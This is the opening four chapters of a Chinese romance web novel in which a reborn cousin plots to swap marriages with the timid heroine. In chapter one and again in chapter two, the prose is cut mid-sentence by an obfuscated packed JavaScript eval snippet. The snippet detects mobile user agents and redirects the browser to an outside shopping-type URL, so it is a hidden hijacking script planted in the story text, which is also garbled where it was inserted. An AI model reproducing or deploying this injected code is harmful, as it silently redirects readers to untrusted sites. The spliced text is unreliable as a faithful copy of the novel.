《表姐她非要和我换亲》 1. 第一章 春光作序,万物和鸣。 文安侯府的栖云阁里,传出一串叮铃的铛声,接着是丫鬟伴夏打趣般的笑声:“小姐该起了,再不起,表少爷就要走啦。” 闻新绿慌忙从被子里钻出来,见日光才刚晒到床头,明白自己是被哄了,羞恼叫了一声:“伴夏。” 伴夏嘻嘻笑着:“小姐平日里怎么都叫不醒,一搬出表少爷,倒是用不着我们了,看来等再过几个月,叫小姐起床的任务还得让表少爷来。” “伴夏!”闻新绿脸红成了个猴屁股,伴秋进来把伴夏推出去:“行了行了,这栖云阁就数你的嘴最贫,快些去外面把早膳摆了。” 伴秋取出昨日就熨好的衣裳,是小姐挑了许久才定下,内里霞粉色立领对襟长衫,外罩浅花黄包肩比甲,下着湖绿色马面裙,尽显春意盎然。 想起小姐自及笄后婚事处处不顺,如今终于定下,伴秋也算是放下了心,能安心出嫁了。 她瞧着镜子里的小姐,笑吟吟道:“小姐今日甚是好看,我若是表少爷,也要被小姐迷去了。” 闻新绿脸还红着:“伴秋姐姐,你怎么也学了她去。” 伴秋长舒一口气:“奴婢只是感叹,眨眼间,小姐就长大了。二表少爷是个好人,他能说服舅家夫人来下聘,说明他并不像旁人所说的那样两耳不闻窗外事,想来是有担当的,待小姐出嫁后,老夫人在天之灵也能安息了。” 听见老夫人这三个字,闻新绿眼眶湿润了。 祖母在时,她是侯府唯一的嫡小姐,谁都越不过她去,可那段时光快乐又短暂,再醒来时,她没了祖母,没了疼爱,惶惶然来到前院,却发现爹喜欢庶妹,娘喜欢表姐,她就像多余的人,只能看着他们父慈女孝。 后来表姐及笄,一心想要入高门,母亲便为她四处奔波,而她及笄时,母亲连人都不在,更遑论为她寻找夫家。 若不是后来二表哥愿意娶她,恐怕到现在,她都没定下夫家吧。 “好了好了,不说了,”伴秋心疼地为她擦去眼泪,“都怪奴婢多嘴,今日二表少爷来,咱们就该开开心心的,是不是?” 闻新绿还含着泪呢,却笑着重重点头。 她该开心才是,人生大事已经解决,表哥温柔又善解人意,她未来一定会如祖母期望的那般,越过越好的。 - 闻新绿与二表哥沈斫年已过纳采、问名、纳吉、纳征四礼,今日沈斫年与母亲是来请期的,也就是定合婚的良辰吉日,定了吉日后,新郎新娘只等大喜之日,成就好事。 长兴伯夫人,也就是沈斫年的母亲王瑗到了文安侯府门口,望着气势磅礴的牌匾,叹了口气。 按理说伯府娶侯府之女,是高娶,她该开心才是,可实在是侯府嫡女闻新绿太不争气。 她作为长辈,也是看着新绿长大的,小时候养在老夫人身边时,还像个样子,有贵女气质,可等老夫人去后,被亲娘、也就是她那个大姑子养着后,却一年比一年畏缩,上不得台面。 虽说斫年是老二,继承不了伯府,可旁人不知,她这个母亲却是知道的,自家这个儿子就是个文曲星转世,教他的老师就没有不夸的,要不是这几年伯府老爷老夫人接连去了,耽误斫年科考,他如今即便不是进士,也是举人,不至于还顶着秀才的名头。 她怎么看,都觉得闻新绿这丫头都配不上自家二子。 或许是察觉到母亲的不虞,沈斫年行了个大礼,唤道:“母亲。” 王瑗再次长叹一声:“行行行,我这就进去,但容为娘最后多嘴一句,今日若是定了,这门亲你是无论如何都不能反悔的,你当真决定要娶新绿吗?” 沈斫年语气不容置疑:“母亲,新绿表妹就是孩儿想携手共度一生之人,此生绝不后悔,我也绝不会负她。” 王瑗无可奈何,她知道自己这个儿子是最犟了,想做什么时,别人怎么劝都不会听。 比如前两年他们想要瞒报老夫人死期,不过十数日罢了,不想耽误他科考。没成想他知道后,硬是在祠堂跪了三天三夜,不肯行此事,她与夫君只能由他去,看他又耽误三年。 新绿就新绿吧,至少知根知底,不是个坏心眼的姑娘。 “嫂子来了,”听到动静,文安侯夫人沈岚笑着出来迎,瞧见沈斫年丰神俊朗的模样,不由夸道,“几个月不见,斫年瞧着越发稳重了,也不知道嫂嫂这是怎么教的,也得教教我才成。” 沈斫年拱手作礼:“姑母过奖,听说行之表弟被大儒嘉奖,斫年在此恭喜姑母,或许再过不久,表弟就有要好消息了。” 沈岚被哄的咯咯直笑,王瑗暗暗翻了个白眼,平日里这人除了讲大道理,就是之乎者也,难听得很,如今为了娶娘子倒是油嘴滑舌起来,真是白生了这个儿子。 感慨后,她笑着:“妹妹今日是要在门堂招呼我们?” 沈岚这才反应过来,连忙将她们请进门:“哎呦我真是糊涂了,快进来快进来,是我怠慢了大嫂。” “一句玩笑话罢了,你哪就当真了,”王瑗跟着迈入正堂,见到里间坐着的人却一愣,“今日,二妹妹也在此?” 正堂端坐着的正是沈岚的妹妹,长兴伯府的小姑子沈岑。 沈岑同姐姐生得有七分像,然而姐妹不同命,沈岚遵从父命嫁给了文安侯,顺顺利利成了侯府夫人,连王瑗都要敬两分。 而沈岑年轻时看上了那年的探花,要死要活非要嫁过去,公公婆母拗不过她,只得下嫁了女儿。 只是沈岑一个十多岁情窦初开的小姑娘能有什么眼光,探花叶彦根本不是个做官的料,即便有岳父提拔也只做到五品地方同知,什么时候能回京都不知道,若不是沈岑生了个人见人赞的叶诗予,王瑗连多余的眼神都不想给她。 沈岑这才站起来,热热闹闹笑道:“怎么说我都是新绿的姨妈,这终身大事,自然是要替她把关一下,怎么,嫌我多事?” “怎么会呢,”王瑗施施然坐下,“新绿有你这样用心的姨妈,自然是再好不过。” 沈斫年跟着也要坐下,沈岑却道:“大人们谈话,你杵在这作什么,诗语正在外头赏花,你也跟着去吧,这里有我们就行。” 沈斫年无奈:“姑母还当我是小孩呢。” “去吧,”王瑗开了口,朝儿子应承,“放心,这里都有娘呢,文安侯府的桃花可是一绝,去外面透透气也好。对了,新绿呢,叫新绿也一起啊。” 沈岚这才看向身边的丫鬟:“大嫂说的是,秀珠,去叫小姐,就说她二表哥来了。” 秀珠应了声,沈斫年这才请礼退下。 文安侯府他是再熟不过了,小时候年年都来,只不过那时的他一心只读圣贤书,用完膳便急着要回去。 直到十八岁那年,见到十五岁的表妹站在桃树下,娇靥桃花别样红,等他回去后对着看过无数遍的书,心却怎么都静不下来。 “表哥!”身后传来含笑的声音,带着羞怯与期待,沈斫年心一下就软了,眉梢染春转过身去:“表妹……” - 闻新绿正坐在镜前梳妆,伴秋挽发的手艺十分好,伴夏坐在一旁看着学,却怎么都学不会,泄气道:“伴秋你要是走了我可怎么办呀,我舍不得你。” 伴秋噗嗤笑着:“我又不是走了就不回来,等小姐需要我了,我一定回来。” “拉勾拉勾,可不许诓我。” 闻新绿笑看两人斗嘴。 正说着,外面传来声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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新婚当夜,两人连合卺酒都未饮,平渭郡王就接到战报远赴边疆,此后更是三年没有回京。 那三年,她从未叫过一丝委屈,日夜不休,在京城为平渭郡王登基笼络臣妇,可她如此付出,等来的却是一则削爵圈禁的圣旨,她还没有怪平渭郡王连累自己,平渭郡王倒是恨上了她。 被圈禁的日子凄苦极了,伺候她的丫鬟们都被拖了出去,不知所踪,她只能在空荡的府里自力更生,活的还不如老鼠,亲人们更是视她为罪孽,在最绝望的时候,唯有他,这个她从没看在眼里的表哥,为她请了太医,送来暖衾,让她安稳度过了人生最后一程。 在那时候她才知道,表哥成亲后没几年就考上状元,后又因从龙之功一跃成为皇帝心腹,还不到三十就加封太子太傅,而嫁给他的表妹直接沾光封了一品诰命。 得知这一切后的叶诗予悔啊,是她有眼无珠,竟不知明珠就在身边。 她看着沈斫年,眼中满是势在必得,这一世注定是她嫁给表哥,她不会再重蹈覆辙。 一阵风吹过,闻新绿担忧地扯了扯沈斫年的袖子,“表哥,你把披风给我了,你怎么办,要不我们进茶室歇一歇,叫人再去取两件衣裳吧。” 沈斫年含笑看她,连被风吹乱的发丝在他眼中都是那么可爱:“傻表妹,我是男子,这些风怕什么。” 然而刚说完,沈斫年就感觉鼻子一痒,接着狼狈地打了个喷嚏。 “……”闻新绿忍着笑,“表哥……” 沈斫年抿了抿唇,试图用冷漠掩饰尴尬,刚想顺着把台阶下了,却见叶诗予拉过新绿:“别理他,斫年表哥全身上下就嘴最硬了,咱们先进去吧,你进去后他自然就来了。” 沈斫年无奈摇摇头,只得跟上去。 2. 第二章 表姐今日与平时不大一样。 闻新绿默默看她泡茶,这种活从前表姐都是不屑做的,不知为何今日却如此主动,闻新绿不免有些忐忑。 “新绿,我要谢谢你,”叶诗予亲自捧了茶递给她,“虽说我是姐姐,但却是你一直包容我,迁就我,如今咱们都要嫁人了,姐姐提前祝你新婚快乐,百年好合,从前我做出的那些蠢事还望你不要放在心上,咱们终归是血亲姐妹。” 闻新绿十分惊讶,更是感动,连忙伸手去接:“表姐,你不要这么说,我、我也没做什么,表姐,我们是姐妹,理应互相帮助的。” 叶诗予勾起一抹笑:“表妹你如此大度,那我就放心了。” 正说着,她突然身形一晃,茶水顿时四溅开来,落在新绿身上。 “啊!”伴夏要挡却来不及,连忙取帕子擦拭,还好茶水并不烫,只是浸湿了裙子,她气道:“表小姐你做什么!” 叶诗予似也被吓到了,满脸自责上前:“新绿你没事吧?都怪我笨手笨脚,方才不知道踩到了什么,忽然就站不稳了。” “没事。”闻新绿看着湿了的新衣裳,其实有些难过,但表姐也不是故意的,她又怎能怪人家。 沈斫年迟了几步进门,就见新绿身上一片水渍,皱眉问道:“这是怎么了,可有受伤?” 伴夏愤愤道:“表小姐手上茶没拿稳,泼了小姐一身,这可是小姐的新衣裳,专门为唔唔……” 闻新绿眼疾手快捂住了她的嘴巴:“没事没事,就是衣裳湿了,伴夏,快随我去换衣。” 她拖着伴夏慌忙往外逃,走到一半,咬了咬唇回头:“表哥,你等我,我很快回来。” 沈斫年眼中升起笑意:“知道了,去吧,我在这等你,早去早回。” 看着新绿背影渐渐消失,沈斫年笑容渐隐:“方才发生了什么?” 叶诗予轻轻踢开落在地上的茶杯,一步步走近他,似伤心道:“表哥怎么这般问我,自然就是表哥看到的那般,不小心将茶水溅到她身上了而已,难道表哥觉得是我故意欺负了新绿表妹?” 沈斫年静静道:“我不是这个意思,只是这里打扫地十分干净,不知为何那杯茶会泼到新绿身上。” 从见到叶诗予开始,他就觉得不对劲,叶诗予从前绝不会用那种语调称呼他为表哥,从来都是划清界限的二表哥,后来又听见她那些有意无意的话,再到泼了新绿满身茶水,是巧合吗?沈斫年并不觉得。 叶诗予不说话了,只死死盯着他,最后失望道:“你不该是这样的。” 明明在她去世前,他即便顶着被新帝厌弃的风险也要救她,可为什么重来一世,他是这么的冷淡,为什么他的眼中都是闻新绿那个扶不起的阿斗? “二表少爷可在,”门被敲响,有人道,“伯夫人寻你去正堂。” 沈斫年朝外应了一声,看着叶诗予这幅模样只觉得奇怪。 他很确信自己与这位叶表妹并不熟,摇摇头,“不知你在说什么,我一直都是这样,叶表妹,新绿她年纪小,又天真,不如你心思缜密,还望你高抬贵手,不要再欺负她,否则即便你是我的表妹,我也不会善罢甘休。”随即头也不回地离去。 “沈斫年!”叶诗予喊着他,却没得到任何回应,叶诗予几乎咬碎一口银牙,极致的愤怒后,她怒极反笑,“你现在护着她又如何,沈斫年,这一世你注定是我的,你必须娶我,只能娶我!” 至于闻新绿那个废物,本来前世她也生不出来,就跟那个天阉平渭郡王凑一堆去吧,闻新绿还该感谢她呢,要不然以她的相貌与性子,再来几辈子都当不了郡王妃。 - 沈斫年回到正堂时,明显察觉氛围与来时大有区别,他带着疑问看向母亲,却见母亲翻了个大大的白眼:“既然斫年回来了,那我们就先走了。” 沈斫年无法,只能行礼道别,刚走出侯府便问:“娘,吉日可定?” 不说还好,说起这个王瑗就一肚子气,啪的一声把记着吉日的纸拍在儿子面前:“定个屁,你不知道你那个二姑母有多可气,这三个吉日可都是我花了大价钱叫大觉寺大师选出来的,个个都是好日子,结果呢,你那二姑母这不行那不行的,不知道的还以为是她嫁女儿呢!” 沈斫年眉眼一沉,与叶诗予方才那些不对劲都串联起来了,可他不明白,她们为何要作梗他与表妹的婚事?若是旁人,沈斫年或许还会猜一猜是否对方对他有意,可叶诗予,那个从小就眼睛长脑袋顶上的表妹,她怎么可能看上一阶白身的自己。 沈斫年有自知之明,他与平渭郡王差的可不止爵位,天下读书人多如牛毛,每三年就有一个状元,但能十六平西南土司,十九退瓦剌,令瓦剌不敢再犯的少年名将从古至今又有几个,即便沈斫年没见过平渭郡王,但也是心怀敬仰的。 沈斫年想不通,他斟酌着道:“叶表妹今日也十分奇怪,我不知道她们到底想做什么,母亲,未免夜长梦多,还是赶紧将日子定了吧。” “行,就你急。”王瑗嘴上应了,心里却觉得奇怪,沈岑就算了,叶诗予一个小姑娘掺和什么,这小姑子到底想干嘛。她瞧了儿子一眼,将疑问暗暗压在心底。 - “表哥呢?”闻新绿气喘吁吁回到茶室,却见人去楼空,表哥与表姐竟都不在了。 茶室伺候的丫鬟道:“二表少爷被夫人叫走了,吩咐我同您说不必等他,等过几日再来侯府看您。” 闻新绿失落道:“好吧。” 伴夏眼睛骨碌碌转了一圈,扯扯小姐的衣裳,朝正堂努了努嘴:“小姐,今日表少爷来是商量吉日来了,您就不好奇定在什么时候了?” 闻新绿脸霎时通红,她支支吾吾:“母亲会遣人来说的吧。” 伴夏提高声音:“那怎么能一样,说不定他们现在还在商量呢,小姐你就不想听听表少爷是怎么说的?” 闻新绿心动了,她自然想知道表哥是怎么想的。 从小到大,她站在表姐身边,就如同娇艳海棠边上的杂草一般,毫不起眼。及笄后,不乏相看的人家以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164428|196638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为她生得与表姐相似,慕名而来,可一见,却发现她寡淡如水,不似表姐惊艳,纷纷没了下文。 表哥说要娶她时,闻新绿内心十分震动,且不可置信,虽是两人是表兄妹,但七岁男女大防,他们说过的话也不过寥寥几句而已,况且表哥光风霁月,才貌出众,是如同表姐那般耀眼的人物,与她截然不同,任谁都说不出他们相配。若不是后来舅母真叫了媒婆来提亲,闻新绿大概只以为表哥在说玩笑话。 这一肚子的疑问,她存了很久,却从不敢表露出来。 “去嘛去嘛,再不去表少爷说不定就走了。”伴夏催促着,闻新绿咬了咬唇,最终理智被情感占据,应了下来。伴夏见她点头,兴奋地拉着她的手,悄俏躲到了正堂的窗下。 “什么?和郡王的婚事不能成了!”沈岚刚送走大嫂,正想问妹妹今日怎么处处与大嫂作对,就听她说要将诗予和平渭郡王的婚事作罢,顿时气道,“不行,你知道这门婚事我花了多少心思吗,你知道平渭郡王的婚事有多少人盯着吗,若不是我日日去王府讨好太妃,太妃怎么会应下这门婚事?” 沈岑撂出一张纸:“我自然是知道姐姐你的用心良苦,只是姐姐你不知道,我叫人将诗予和郡王的八字一合,乃是五行相克、大凶之兆,千万结不得亲啊!” “你胡说什么呢,”沈岚不虞,“先前我把诗予八字交予太妃,太妃请的大师可说是天作之合,百年难遇呢。” 沈岑却道:“姐姐,我还能害诗予不成吗,她可是我的亲女儿,我也纳闷啊,太妃怎会这般做,要把怨侣凑作一对,可诗予一句话提醒我,这太妃,可不是平渭郡王的亲母妃啊。” “你什么意思?”沈岚皱眉。 沈岑道:“京城里人人都知,平渭郡王离经叛道,性情古怪,所以婚事耽误到了现在,可你再想想,平渭郡王这些年回来过几次,京里都没几个人认得他了,他这些传言是哪里来的?旁人都忘了,可我还记得,当年先勤王在时,把郡王看得比嫡子还重,亲自教养长大,京里沸沸扬扬说先勤王要改立世子,你说太妃真能忍下这口气吗?” 沈岚倒吸一口冷气:“你的意思是,这场婚事太妃是故意的?” 沈岑一拍手:“正是,她就是故意挑了个命格相冲的,想要咱们诗予嫁过去克死郡王,姐姐,咱们可千万不能上当啊。” 沈岚被这消息震得头皮发麻,可是她又为难:“如今吉日都定了,郡王再过几日就要回来成亲了,这、这如何能改,一旦婚事不成,诗予往后的婚事也会受到影响。” 正在此时,叶诗予带泪冲了进来:“姨母,娘,我不要嫁给平渭郡王,如果取消不了婚事,我宁愿去做尼姑!姨母,你不知道我梦到了什么,我梦到嫁给他后被他克死了,我见不到你们了…我好怕,姨母,你疼疼我吧,我绝对不能嫁过去。” 沈岚见她哭得梨花带雨,心疼不已,连忙给她擦泪:“呸呸呸,你这冤家,说的什么傻话,姨母还不够疼你吗,真是把心肝都掏出来了,只是此事,还得从长计议……” 3. 第三章 窗下,闻新绿一把捂住了伴夏的嘴,将她拖了出去,伴夏听得正起劲呢,不甘地唔唔了一路,直到远离了正堂,她才跳起来:“小姐你你你你、你怎么能这样!” 闻新绿左右看看,比了个嘘:“咱们本来就是来听婚期的,如今与我无关,又怎么好听旁人的事呢?” “怎么与你无关,”伴夏却道,“若不是因为表小姐婚事一拖再拖,小姐你早就嫁到伯府去了,好不容易等表小姐婚事定下来,您也定了吉日,如今又有变动,万一日子又要往后延呢,谁知道表小姐还能不能嫁出去啊?” 闻新绿一愣:“是哦。”不过她又觉得,“表姐的婚事不成了,她定在伤心呢,我与表哥不急的,再说表姐如此出类拔萃,说不定刚退了这门亲,另一门亲就来了。” 伴夏却觉得不容乐观:“与表小姐定亲的可是平渭郡王,当今圣上的亲孙子,这亲,能说退就退吗?” “这…总会有办法的吧,”闻新绿拉了拉她的手,“伴夏,此事你可千万别往外说,事关女子的终身大事,如今未有定论,不能乱传的,连伴秋都不能说。” 伴夏撅了撅嘴,她刚还想着晚上同伴秋夜聊呢。 闻新绿一看就知道她在想什么,再次叮嘱:“再过几天伴秋就要出嫁了,你就让她安安心心出嫁,过段轻省日子,此事就只有你知我知,天知地知,知道吗?” 伴夏心想,还有夫人知,夫人她妹妹知呢,却见小姐表情严肃,她被唬了唬,重重点头:“知道了,小姐放心,我的嘴您也知道,天下第一牢,绝对不会到处乱说,给您添麻烦。” 闻新绿噗嗤一声笑了出来:“贫嘴。” 她笑着,却想起母亲那句情真意切的心肝。真好啊,她真羡慕表姐,若是母亲愿意这般对她,新绿想,即便叫她立马去死,她也甘愿。 - 沈岑走出正堂,也是精疲力尽:“当初为了能搭上太妃,咱们废了多大力气,献了多少好东西,如今却全泡汤了,这该死的老虔婆,心肠比恶鬼还黑,竟存着这般恶念,真是天理不容,早日登天去吧。” “就是可怜了我女儿,”她心疼地摸了摸女儿,“原本该顺顺当当成为郡王妃的。女儿啊,你如今也十八了,虽说女好百家求,可如今要与郡王退婚,势必有些名声受损,国公府家的二少爷和宁远侯府世子,都对你十分倾心,常遣人来送礼,要娘说,你就在这里头选一个算了。” “不行!”叶诗予想也不想就拒绝,国公府的二少爷看着光鲜亮丽,可又继承不了国公府,最后不过被蒙荫了无名小官,怎配得上她,还有宁远侯世子,旁人不知道,她是知道的,年纪轻轻就死了,她可不想当寡妇。 只有沈斫年,他才配得上自己。 见沈岑为难的模样,叶诗予眼中划过无力,娘虽然是为她好,可实在没有姨母的能力,她温声道:“娘,此事我心中已有计较,您不用着急,放心,我定为您挑一个万里挑一的女婿。娘你先走吧,我还有些事想问姨母,不用等我。” 还有什么人比国公府公子,宁远侯世子更好的? 沈岑如今很是后悔,竟把女儿教的如此眼高,如今看着女儿依赖姐姐,她欣慰自然是有,可是更多的还是涩然。这女儿,究竟是自己的,还是姐姐的呢? 沈岑张了张口,想问什么事,她不能一起吗,最后还是黯然笑笑,妥协道:“好,那娘先走了,你若是今日回不来,记得遣人来说一声。” 叶诗予点点头,握了握母亲的手:“好,娘一路当心。”看着母亲离去后,她转身回到正堂。 “诗予,你怎么回来了?”正在思索的沈岚见到外甥女很是惊喜,连忙拉了她的手。 叶诗予软声道:“还能为什么,诗予想多陪陪姨母,等嫁人后,诗予恐怕就不能常来了。” 沈岚闻言道:“这什么话,文安侯府就是你的娘家,你想来就来,谁不让你来姨母替你教训她。” 叶诗予笑着窝进她怀中,两人享受了片刻母女情深后,叶诗予道:“姨母,我知道你还在为我的事为难,诗予真是不争气,给姨母添了这么大的麻烦。” “这是什么话,”沈岚只觉得她长大了,十分感动,“这都是姨母该做的,姨母不为你,还能为谁?” 叶诗予却想起前世自己被幽禁,只有母亲曾来看过她,而这个说是把她当做亲生女儿的姨母,竟一句问候都没有,如此想着,叶诗予嘴角的笑冷了冷,从她怀抱中起来:“姨母,其实我有一个想法,不仅能解燃眉之急,更是要给姨母贺喜。” 沈岚不解:“诗予,我怎么听不懂你在说什么呢?” 叶诗予笑着道:“姨母难不成忘了,不只有我,还有表妹新绿呢,我与郡王八字不合,可新绿妹妹不是啊,她是您的亲生女儿,比起我,妹妹或许与平渭郡王更为相配。” 听到这话,沈岚惊讶地合不拢嘴,下意识道:“她?她怎么行呢?” “妹妹怎么不行呢,”叶诗予笑意盈盈,“姨母,论身份,妹妹可是侯府嫡女,谁能说妹妹不行呢。若妹妹成为了郡王妃,那诗予是不是要恭喜你,郡王就是您名正言顺的女婿了。” 沈岚心念一动,她是真舍不得平渭郡王这个女婿,可是新绿那丫头与诗予可不同,她若是嫁入高门,岂不是给她丢脸。 叶诗予接着道:“当然,姨母我这只是提议,若真要妹妹嫁过去,还得去合八字,说服太妃娘娘,若是妹妹八字依旧不合,那婚事自然也是不成的,但若是成了,您往后就是郡王的丈母娘,平渭郡王的本事您也知道,未来前程可说不准,到时候这满京城命妇们都得敬您三分。” 沈岚心脏剧烈跳动,仿佛已经见到了那些下巴翘到天上去的诰命 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沈岚当然不肯,道:“这怎么能一样呢,新绿那丫头是去享福的,诗予,你不许委屈自己,斫年虽好,却如何配得上你,这天下男儿任你挑,姨母一定让你得偿所愿。” 天下男儿?叶诗予心想,姨母恐怕不知道,天下男儿合起来都没有沈斫年好。他年少有为,宠妻无度,这都是她前世真真切切听来的,想到再过不久就封一品诰命,成为这京城最风光的贵妇,叶诗予呼吸急促起来,使劲掐着指尖才能平息那股心潮澎湃。 “不,姨母,”叶诗予羞涩低下头,“表哥如今虽然配不上我,但是舅母说他天资聪颖,说不准还能考个状元探花,经这一遭,我也不求什么荣华富贵了,只求安稳度日,大家都好好的,我便心满意足,若姨母觉得我委屈,那姨母就多疼疼我。” 沈斫年考状元探花?沈岚只觉得她是被人诓骗去了,只是少女执拗起来是什么样子,她实在太清楚,妹妹曾经不也是这样吗? 索性沈斫年是她从小看大的,好歹是伯府家的公子,比妹夫这个一穷二白的人可要好太多,沈岚也只能心疼地摸摸她的脸:“姨母自然不能叫你受委屈,为了这桩婚事你受苦了,若是不想嫁了,随时告诉姨母,姨母替你做主。答应给你的嫁妆不会变,姨母这里还有些好东西,都留给你。” 说着,她吩咐一旁的秀珠:“去将库房东边那两个刻牡丹花的那箱子送到栖凤阁,往后表小姐要什么,只要府里有,都给表小姐送去,听到了没有?” 秀珠一愣,她犹豫了下道:“夫人,那是老夫人留下来的,说要……” 沈岚脸一板:“我叫你做什么就做什么,怎么,你在质疑我?” 秀珠连忙跪下:“秀珠不敢,秀珠这就去办。” 她起身告退,里头欢声笑语,母慈女孝,她望着那两道朦胧的身影,长长叹了一声。 4. 第四章 三月十八,宜嫁娶。 栖云阁内,主仆三人几乎一夜没睡,如今见伴秋头戴凤冠、身披霞帔坐在梳妆镜前,闻新绿鼻子一酸:“伴秋姐姐,你好好的,若是有人敢欺负你,一定要回来找我,我替你做主。” “好,小姐你不要为我担心,你已为我还了良籍,还赠我百两嫁妆,做梦都没想到,我伴秋还有今日,”她红了眼眶,想起这一辈子,八岁家中遇难、被迫为奴,本以为这辈子也就如此了,却没想到竟遇上了这般好的小姐,如此厚待她,伴秋感激得无以复加,“小姐对我的好,这辈子都还不清。” 闻新绿却道:“不,是我要感谢你和伴夏,祖母去后,是你们照顾我、陪着我,我幼时生病,是你在旁日夜看顾,不眠不休。伴秋姐姐,你和伴夏在我心中从来不是什么丫鬟,而是我的姐姐与妹妹,在这世上最亲的亲人。” 伴秋怎么忍都忍不住泪,伴夏更是哇地一声大哭起来:“小姐,你也是伴夏最亲的小姐……” 伴秋破涕为笑,闻新绿的那份感伤也被她哭走了:“好啦好啦,今天大喜的日子,你哭成这样伴秋姐姐还怎么出嫁,话说伴夏你也十六了,若是有心上人要同我说,到时候伴秋姐姐有什么,一样予你一份。” 伴夏哭得眼泪鼻涕淌一脸,她拿着手帕一擦:“什么心上人,我才不要呢,我要永远陪在小姐身边。” 伴秋瞪她:“小孩子脾气,女子都是要嫁人的,等嫁了人还可以回来做嬷嬷呀。” 伴夏却说:“你当我傻,嫁人是为自己寻个靠山,生孩子是为养老,可我有小姐,我要这些作什么,小姐会管我一辈子的,对不对?” 闻新绿噗嗤一笑:“对对对,你说得都对,不过呢,小姐我可以给你养老,却暖不了你的床呀。” 伴夏张大了嘴巴,不可置信:“小姐,你都跟话本学坏了!” 三人笑作一团,见时辰差不多了,闻新绿和伴夏一人扶着伴秋一边,将她从侧门送出去,新郎庄有早驾着马车在外候着了。 说来两人也有缘,他们小时曾是青梅竹马,隔墙邻居,后来伴秋家遭难,伴秋被迫卖身为奴,庄有也没忘记过这个邻家妹妹,后来在街上一眼就认出了她,男未婚女未嫁,就此定了终身。 庄有见了人,连忙下来朝门里头拱手,伴秋却忽然停下脚步,拉住了新绿的手:“小姐,有件事,我知道自己不该开口,可我想想一定要同您说。” 闻新绿不明所以:“怎么了,伴秋姐姐,你和我还有什么不能说的?” 伴秋道:“小姐,你可还记得老夫人去前,曾说要将所有嫁妆都留给你?” “自然记得。”她记得祖母离去前还在为她打算,她知晓,祖母唯一放不下的就是她了。 伴秋眼中闪过一丝复杂:“当初夫人以您年纪还小为由,将老夫人留给您的东西全数收去,眼看小姐您都要出嫁了,夫人都未曾提过要还回来,或许是夫人忘了,又或者其他缘由,但小姐您要记得,那是老夫人弥留之际给您留下的压箱底之物,是您婚后的保障,千万要取回来。” “那是自然,”闻新绿肯定道,她当即决定,“我等会就去同母亲说,今时不同往日,我已经长大,确实该我自己管了。” 可听了这话,伴秋非但没有放下心,反倒紧攥了她的手:“小姐,老夫人的嫁妆单子和留给你的亲笔信我都收在妆奁中,一定要好好收着,千万要留个心眼,别轻易就给旁人,老夫人虽只留下两箱嫁妆,可那里面件件都是珍品,恕我忠言逆耳,这府里到处都是盯着小姐的人,即便是夫人也不可信,不怕一万,就怕万一。” 闻新绿瞳孔震了震,艰难道:“伴秋,你怎会这般想呢?” 那是她的母亲啊,虽说母亲对她没有表姐那般疼爱,可再如何那都是生下她的亲人,母亲怎么会不可信呢? 伴秋言尽于此,她知晓即便夫人偏心表小姐,小姐却依旧对夫人有着深深的孺慕之情,可旁观者清,当局者迷,小姐在府中的待遇一降再降,小姐自己看不清,她们这些在府中行走的丫鬟难不成还看不出来吗。 她知晓,自己这番话实属大逆不道,所以才敢在即将离开侯府时说出来,她已仁至义尽。 伴秋不再多言,坚定转身走向自己这十几年来挣出的光明未来,她坐上缠满红绸的马车,看着高高的侯府门墙,朝过去挥挥手:“小姐,伴夏,保重……” 闻新绿不由追了两步,热意弥漫上眼眶,她喊道:“你放心,我一定把你的话记在心里。” - 澄心堂,叶诗予听到门外传来动静,忍不住站了起来,还不等姨母坐下便问:“如何?” 沈岚刚从大觉寺回来,虽然风尘仆仆,但嘴角是藏不住的笑意:“大师说新绿与郡王的八字是百年难见的相合,定会恩爱一生,说句天作之合也不为过。” 叶诗予脚步顿了顿。恩爱一生?天作之合?呵,那也得有命才行。 她笑着携姨母手臂:“那真是太好了,如此一来,姨母便不用为表妹担心了,如此好的婚事,就该是表妹的。” 沈岚却叹了口气,拍了拍她的手:“可我还是放心不下你,你真的要嫁给斫年吗,不再看看了?” 叶诗予心中觉得厌烦,面上却不动声色:“姨母,我知道你是为我好,但是我心意已决,不必再劝了。” “好吧,”沈岚这些日子劝的也够多了,知道多说无益,便停了嘴,“既然如此,那明日我同你娘一块到勤王府与长兴伯府走一趟,将你与新绿的婚事尽快换了,可别误了吉日。” 叶诗予却一愣,接着为难唤道:“姨母……此事可否先别与我娘说,我怕她坏了咱们的打算。” 沈岚惊讶:“这怎么行呢,婚事乃父母之命,媒妁之言,你娘不在怎么行呢?” 叶诗予摇摇她的手:“姨母~你就如同我亲生母亲一般,婚事,您就替我做主了吧,母亲的想法您也知晓,她肯定强逼我嫁入什么国公府、侯府,可是我对那些公子真的不喜欢,若是让我嫁过去,还不若叫我死了算了。” “呸呸呸,这说的什么话?”沈岚第一反应是不可,但又一想,自己的妹妹确实是个执拗性子,旁人一个不顺她意,就跟个孩子一样哭闹着,不达到目的不罢休,她自己的婚事已叫她毁成这般了,可不能再毁了诗予。 于是沈岚应承道:“好吧,明日我便不叫你娘了,不过岑儿早晚还是会知道的,你明日回去后好好和她说,将她安抚住,待我这边好了,就算她不愿,婚事也成了。” 叶诗予连连点头:“我就知道姨母最好了~” 这时门外有人通传:“新绿小姐来了。” “说曹操曹操就到,”沈岚笑着,“叫她进来吧。” 叶诗予却道:“姨母,此事先别与表妹说吧,若是明日不成,到时候徒惹表妹空欢喜一场,说不定要怪您呢。” “她敢?”沈岚眉头一拧,“你这般牺牲,我又为她跑上跑下,她胆敢说一声,看我不教训她。” “姨母,”叶诗予撒着娇,“不怕一万就怕万一,再说此事还未定,若是被有心人传出去,到时候咱们侯府难免丢人。” 这倒是,终究此事还未成定局,沈岚便点点头:“你说的也有道理。” - 